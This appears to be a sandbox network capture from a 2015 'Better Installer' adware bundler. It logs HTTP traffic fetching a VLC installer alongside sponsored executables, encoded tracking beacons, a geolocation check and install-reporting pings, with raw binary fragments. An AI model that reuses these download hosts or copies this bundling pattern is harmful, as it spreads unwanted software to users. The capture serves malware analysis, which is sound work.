Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk..



GET /667.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz57tRcWKYeecuKhBlRQZmwjsjMhJxzXo7yMFjWsG0z9OSmF904v4t2Douov16P80TWXDFpeB4I3rwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=5728164-11456328
User-Agent: Better Installer(Mozilla)
Cache-Control: no-cache
Connection: Keep-Alive
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 5728165
Content-Range: bytes 5728164-11456328/22912657
Connection: close
Content-Type: application/octet-stream
.Q.>6.z..Z.A..(]....(7UOc.6.:.]...w!a......V.....x..m3v;.g.B4.6.I..
O=".d....k..b$h2..6..".W.........w{P;....:,....R.....-.8......b.k....u
V....E...._9.....<yk.=..a..O..v...Z..]..d...&..%.6..A..7...T....Y..
......^_..WV.E.O.]........X.=L...w..e.f..m.798/....vt.".F#....c>...
. =.I...nC.'xPZ.......@.,4.....:M...X\c...&.....I......E...7.V.1.1.-..
.U.....]..%........a|W.(;...)..La3g.. U%"kl.-Ls.x...l...j.3$.opj..y...
."a.2...If......Y.....[.?B.3V\..o.C.(././.... 5....#,3GR.F.e.....g$.4c
.c...@T._Z......|.qI..l..mx..........v%..6@^...........e...AR6C5.R..2.
..fnwi.B.~<.n..y...\....6|\.... ...\ZD.......L.h...^.a......w...b..
.n.g.h@LY..*...00pc......,b...E...(.N.......Z...,...CE.Q?.f.;br....n..
DW..k...R.....g......,......3{..J..4......o...fg........4a..3S/..Ei...
..N.q?...#Z5.7b?..My5.<r...2..........b...!...l..r.W.Vgp..p..(...[.
.70..I)*z~........@. b..V......k.9.?...E.%..O.]x5<...]...X..kW...3x
.Y|_.E...!......`.].... ,4._........._ZJ..n..$...N&.....1I.9'...g.,..I
$.....\.l.4B.3A..?..<x#...F.4@!.E...._3o.A....'..y.PU.....c.p... ..
....4\.-#..35V.t.U8nSK...........#t.b....[.X@3* .p.box.xJ.\Z....... ..
w...... ....6.MJ..2..>M_H.T...&....<......../..B.UHm.....l.gC.y.
..........nn.1..0...7~.|....NR....v....x.O4K...o.t..v.<w......J.4..
......G......Ach...V.gfE..P._..DT.^ ./.E].......N..{.e.....9.......UY.
h..v=..X]....C.--...:o&....Zv..[f.At..I1.......3%.....4b...m...M...G(.
2.iMq...J.|...}#CC...W.0k..z9....b.=^..].^..<.C.0...EpY$.Q7n.....\.
&.^y?....L....cw...>!....REI\...?O...O..7.....dP...{...U..6y.c`
<<< skipped >>>


GET /app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUZi6LwwK4U80vYHWe71VaIq/YV5 X6RdAFnDIVPriw0VvWzbeOk/KHlI6y12Qfr0J2AqR2XPWVGhniAZCxO/ Mj2NRySioDRRm56dV2mSeSpEjboCsMsaXRnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDkD DGUmvav HJeZ7WltgDeJ/Ipnh8gnxx/48vBuBRiWOEog NNy6LA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=yhrBLBbZM9ULjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSnw T2O19KvsYrNjjnOLU6dbIHx4MCRqKTI2j9NvqTQ5Y7SjSVyBTbGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOQP4MZSa9q/4cl5ntaW2AN4n8imeHyCfG1Rhv12pffYo4SiD403Los HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=/k6kR j50toLjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1gpJLLN2z FnwCiBUKcGrTX6nvOi2lZHZeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqlmEIUPwTJ2qmrvcVl0Mf/w== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBm8kgAhJB43p1d9yUrIHy MD/fqz7XUSNP/TL4QSzfDiBG/sM70J21zXoGRO e/ZLjyw2RjHvlHkVfaCu72ZveVURlu/eh1Ht2udLt18ooKVURHB pb86UuTTp44ZdvVTImsBxAWxYxw4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX7O/8Xidal/LUuqoJxQoH7VqLfb1ihP hKmALAQnku9RgGUqUYly4OA= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0



GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=11456329-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192573 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:07 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Sun, 26
 Apr 2015 23:56:07 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=964747-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321582
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 964747-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Is9GRq_XdJB7Bgn3soJOeUgQv4pgnHc6gj7Sf8wRG2ujC49PxLEJng==
y. ....x.L.z..V......i}|...V...$EN...Vd...b&b..*..39..6..<r.p<.F
vD.........S<g...{.q.W.%7..?.`b.TwPT.l.O....N.."...#_X.&.s.d0B..M.-
.$l. B*.........[.Y....Q>@.P...4;?<T..7....I..'.......i0\.S.....
..g..r..|S.Q....&..7.f....?.X....T4..._-...N.%.....L...eX.....=.....q4
.&..h.6.y....F..BJD....._.A.._iQ...8.#B..zI'US.;:.~.M...6.C..J.].....w
..S..D...."..s..). xh.6.....f.Z....mjy..i0.. ...p-)..h..Z.gu.&........
..a.6.......h..W.Jh...I.:....9.....&.....M.....$..8.i.I..Gk.y.F>#..
zLR.B........r.'..t..m...}.....5.;.I.z.KG... 3H....|....g..H..\G..{...
,X....w..=5.n{.....`e.VkW.....?......dn...".Z..i.a.....o.>.....s.f.
...V..&U...G..<....TK.P..  .K.....*...^....ZF....l/.#.&.7......dW..
3<C.QIL&...`H..?..E.V... I.k...[!j...s...ci.f.s....cd....<O..h..
.b.'...X..d.......Aq.S..;[..q..)(C...F~.;.>..........U4.=%.j|4...\.
...?..E..d....L........&5...W..qj.D\..$...h^F$.$.%g....`...$...L.....a
.4..N{..L..D....5..!.../.\..D...4...1zif_J...L.|...z~f.@]..Me._.H)....
u..8.Zl)....7...[.|d;...>.Q.b6...... I......[...}..]....~O.......q.
....M...........<.X~.....8.ysN.f3s....t........iq.w....[WI.\..I.\=.
...I.]...^.U.....h...wL.<.........$..F..v.a.y...&......9...L`O...n.
.#...0.l.. O.?..%..v...K..~.....'p..w~...?0.5t....i...Q2...RC%IY24.Uj.
.;:...FV=.K..9..%C..y9..y.1*..^..*..d..vp..s.z(Sg.ny..Y"...F^.U2....^|
..A.:<...X........Z..:_......1.y...,FLw...Dg.8HP....J.0.s....T...OX
.M..H......w.7t<..n.~.jn...g.4.>Y.y...XLtTO..A.......e.....{..7.
*....TP..5S..S..p.....7.lB.z...S....a{.I.......0.w.a4..$.E..k...5.
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=139160-278320
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 139161
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Content-Range: bytes 139160-278320/556640
E.#.u..M....E..E.#.;.tD=....t)[email protected]"=....t)[email protected]"[email protected]...
..M......#.;.u..E.....E...E...........3..E.@.}........E......#.=...@..
....=....tq;...y....E.;...n......v....v .....[.....E.3.H......H..G....
E.....j......j.WW.6..........t.WWW.6.....#....;.......j..E.P.6..v.....
;...w......tj..........}.....uX.E........E.;............i........W...j
.WW.6............J...WWW.6........#.;.............E.%....=....u..6..}.
.Y.l...j.^.0.u.._...=....u.Wj..6.$......;........E...>WW.6.........
..E.....j.[.. .P.D=.P.6.Q.................;.................LG........
D.$..2M....0............LG........D.$.M...............}....u!.E..t....
...........LG.....D.... .M......#.;.u~.E..tx.u.....E.j..u..E.j.P.u..E.
%....P.u...L.E.;.u4....E.P.e.................LG.....D... ..6.....Y....
..6.........LG...........E..V...SSSSS.BG...j.h..F..R`...M..3..}.3.9}..
..;.u.............bG......r.}[email protected]..|.......E..E.........
..u.;.t<......0..3.9}.t 9}.t..E.....M...........LG..D... ..u......Y
..E..._...j.h..F..._..3..}.3..u.;....;.u......j.^.0..F.....Y...3.9}...
.;.t.9}.t..E.%........@t..}..u..u..u..u..E.P...........E..E...........
E.;.t.....e_...3..u.9}.t(9}.t..................LG..D... ..6.....Y...U.
.j..u..u..u..u..u..!......]...U.....S.u..M..D...3.9].u.8].t..E..`p.3..
.....E.9X.u&.u..u..u.........8]........M..ap......9].u&.............E.
.8].t..E..`p.......f...W.}.;.u&............bE..8].t..E..`p.......7...V
.M.....M..E.....D....M.te9].u.....D....].......f........U...:.u..]..T.
.....f...E....f...M.f;p.r.f;p.w.f.p..1f;p.r f;p.w%f.p.....U.....A.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=457856-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 457856-523263/523264
Content-Length: 65408
Connection: keep-alive
[email protected].............%...a...A*..P..=>(..;.....v
..@j....|)[email protected]%..=(..$.9.lP..n.4...S......!0.....<...9.T.5-
.:.L.=.E...........W.4r.lk..c...'.P~..............D.-k.q.=co$.0....\L.
.&_&z.].HN....)7..|.[.Q;.Aa<.....0]....K.....g`x..Pw...L!!.........
fR.Dht_H....X...h..n.....~.n.... v,[email protected].:../..
Q.'......AD...^...'.....If.X........u..g.....D.1aW.w....3..J9....VQ5.]
.. A.?...t......>N.V.u.Q.....}..dT<b.*..s.t..W.1(......; ..!...^
Q.l...P....ZC....iLU....o4..<..8.ld...\O..........o.|...J.........K
B$..|n.x...~...'}....Y.v..`~..^..~z.TU..T.......=p~..W.,..K...d.......
.lbO#R.`.3y.m...6..o..."2C[.X[q.....ws.x..^...[..L(..5'.g.T.x....Q./!u
.8........*...g..~....).FY...Y.F.M..G.By......r.eE..dI..b. ..>C....
.aSI......"X..1.......L..7.1..Jj.E.D..........m.C..../o.n...[.I.v..SP.
...e......'Bxn..H...dp.O....#:..{..?..^....O.. ....MD...D'N.*.....6.M.
.R.P.a.............d..;...h4T.....(./BsjpD.......hH0..,.2.B..5...!.M..
 1....B.@...'.E..x~....f..N..=!.1....:.J....gj....C.._. G".......o.Q9.
O..#.u........T.....(...W#.(.CIt=...*.>dn*..n.b.."............[..=.
,$.\..R..`k(%...q.|l..M../.0(..L#9....F.Z.G<...W`.X.H\.e.;.....j.M.
.............q..H........S..`..e|)[email protected].?.>.\..i;...0..
...G......./...V.V. .j.w|....X.>r....ifZ.X...g.../sU2..p6.$....R...
.....,.....X..!S~.Wq..u...^.......*>..(.d....e..|I....nx...W....C2*
..).j;{Y..mw*BW.....nu.. F...(......3wXt.g.zL..*.l...O@ze......'.4...A
..1!........Y....V..G5s.p.9...\[email protected]\U......'@1...L.e.tq
<<< skipped >>>


GET /searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.2253&uid=535559167_198339_B48A115F&dp=0 HTTP/1.1
Host: VVV.theviilage.com
User-Agent: Mozilla/4.0
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:57:41 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive




GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=643165-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 643164
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 643165-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: vbAmDtYTaPkCDu5n3Obiw01sifIQj6LhZ28r3v-aM4jzBmsDm2StLg==
...E.oDW...*/[email protected].....;.ht..^......
@..........F._o.[.Ru.....mT.............d.u .K.6M.,....../.p./z.8A.;.2
-...p0W6^F.....V.oP...U...qV...y...W................Z...h..T...y.....M
..*M........?O$..}s.......r...7..D.uBDE#.nqJ....!,......".M..#... ..oR
ox.tY%....`...D6f.c...)s...JOF\....r..2......kF 7\...p/../q.H..1`.A..a
.N......K..0.j...n... ...R-..F.mB...jq.ED..J.S...........u.@.:5p>..
..}n^B..*'...x...B......&..K......q....U%[.=H../.IR..y...<.=.......
.J.=Y^....%.......*....H...'W..)Vy..q..o. -.k..*.l(...>.Lys.=..?#..
A...E....Ht....4.h/......i........^.q..LI..y.....X..f........Gpu.....p
.5(...5..W.*Z......M..)......?.....;N.>5u.bC..,..kDa...n....Cu.....
6......K...../......m...6...OgF. D....m.:...a}$..s.....K.H0(`..g.....y
.....R..>.u9...[\.>.h.........g....i_....;..U.#.$9....V.T.>.H
e..L.=...8......\.-y..2~..~.'c............xT....=E..e...b._...>.'.z
...&rs.}.....3?.....n.T....".fu...b.(..tI2Z.../.8s.c.6..........9.GH\.
.\C.P%_>..V.)....(..F..,.alW...,.`.S:.Is\._...>......L.yHr..Vx.?
...xb.yF..'...'6.h..g...y q.....~.j....76N..{...;C..i,..o\.../x.0.]..e
'.n.K.b.`....dHV....f....I....3..'..!]..0.CxJ...=...V..O./.9......V...
=.Q`.F..K....q.P{.....i..9.*.*."[email protected]=..A.D...c>.....)FD/R..:...'...
..x3..T.&........C%.(.......(...( .2..v....R.>...p..gP.4...|.U..o..
...[C.U2..*g...K....H[.]...N.....Yl..XVQ.~....y.....V...N...o......?~.
.$.e..}........2.N[|..../.o...}....H^.....D.q..B#..~....[w~.}F*.f....$
..,..2.....=.s.bs :<..<=....w.0..w.U./...S....}...o.....R...
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 04:56:01 GMT
Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT
ETag: "552cd07a-6721"
Expires: Sun, 26 Apr 2015 05:06:01 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 474
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8anVD2JFyDYstp-8wf5IPhG8Z0wlKzmK6Mkmie_hQYVUJYHPFqeSCw==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>


GET /install.ashx?e=Feo0TQZfu6J5YvL6lzggSbHriSz4AbfaC01ucLXQ1VGqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PLiKIFo3W8f2dhK78JwZANhLABaclESgbf20oOr7zOHjllNfMLKuptyR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQtRzip5AcKg4rWxcpBkHhSQ3kCpSb73om1nmEvUc rydewhrFWYF5Tv0qJ78sIh84amSSgMHjLmQAkaiKC91AannFaQMUFf3agVhnL6oJP/krWxcpBkHhSQ3kCpSb73om1nmEvUc ryfLtaw9zNAybItGWMfwQWPTSZrRYQUgrCCNPc8M0MF2aSGap/Piob7  3hNKfF7td/MHaFSDALbQEatJSUihoFKHreIpBjm0xixL/go ONuEXURH0CKlmst94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBqKCOmj9aXRfM1N26ynjad0t8mBLx4RCPtTfdjoDFbC9hDd  578F w== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wt94bf4ec-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Type: application/octet-stream
Content-Length: 2432
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]}k.......e........Q...6`...|....
A#.w.......0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....4k.c2..a>.....5..zF.i....a.....C$.F5g.........
.....*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f
.I..Fy.Y......5....x!..."..fA..#.n.....M3.._...9i9[....q..x..9-"...bK.
<s0....[Hn5.Z..T.......^B..\.^..P../..s$..VPf{...M3.._.[,...C.L....
[email protected].<p....k..d..3....&...8....!.ea.5..5...J....hE
[email protected].].........{pjG,`].U.=W...zt......K..O......X..TCn.9N-..-n...NUM
...OI...F.......)...cz.....ah..].....?P..........2c...J.{z.sgK...2.H$.
.........j[@....J.{z.F...ja.S..q......'.pZ.Z.......B...... .....B.[_..
......rB..DgS0m.5..#[email protected]............([email protected].]...;....
..Z....$.F.2...U....q{.x...t5..iV.h....8b.....!6.....,-."........E._.f
......j.'y...c....m........_`.i.I!.....{..!..dB....w...p.&......4`.i.O
&e...%..}.hP......Q.g.Eu.k.".H...1..L%....,......2.$2J.1$>...P..&..
..y.Y.....B.0p...Q....Q.h|.........rv.z..u...>...O.N|6Y.lW.4W....G.
...2......e..s.....]._....R.f.z^B..\.^..P../..s$..VPf{...M3.._.[,...C.
L.....$........N...{EB5.pI.y.&......". ....g0[..D6^...?...E..?1h......
..[..c....m...Zl.37\.$.%...wY...B.)dx....6....V...W..G:>.]n.....c..
.R..N4..c..{@...1p.....E..>..T...M[|........S...8......1..1...j....
.......c..7..6..0C.;A...6..{..e....t..7...e^..(.a......>......=
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&0.24168472307728256 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:55:07 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:55:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /2556.ashx?e=ZfTZC8DxP8ZxTgq6wZuT67C3XDAxXMlOjA5kVqVgWdAgLxC0aXqYrYyox39H7ctICRG24GG3kkqapdjBPBrSXWAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:59 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=20048575-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



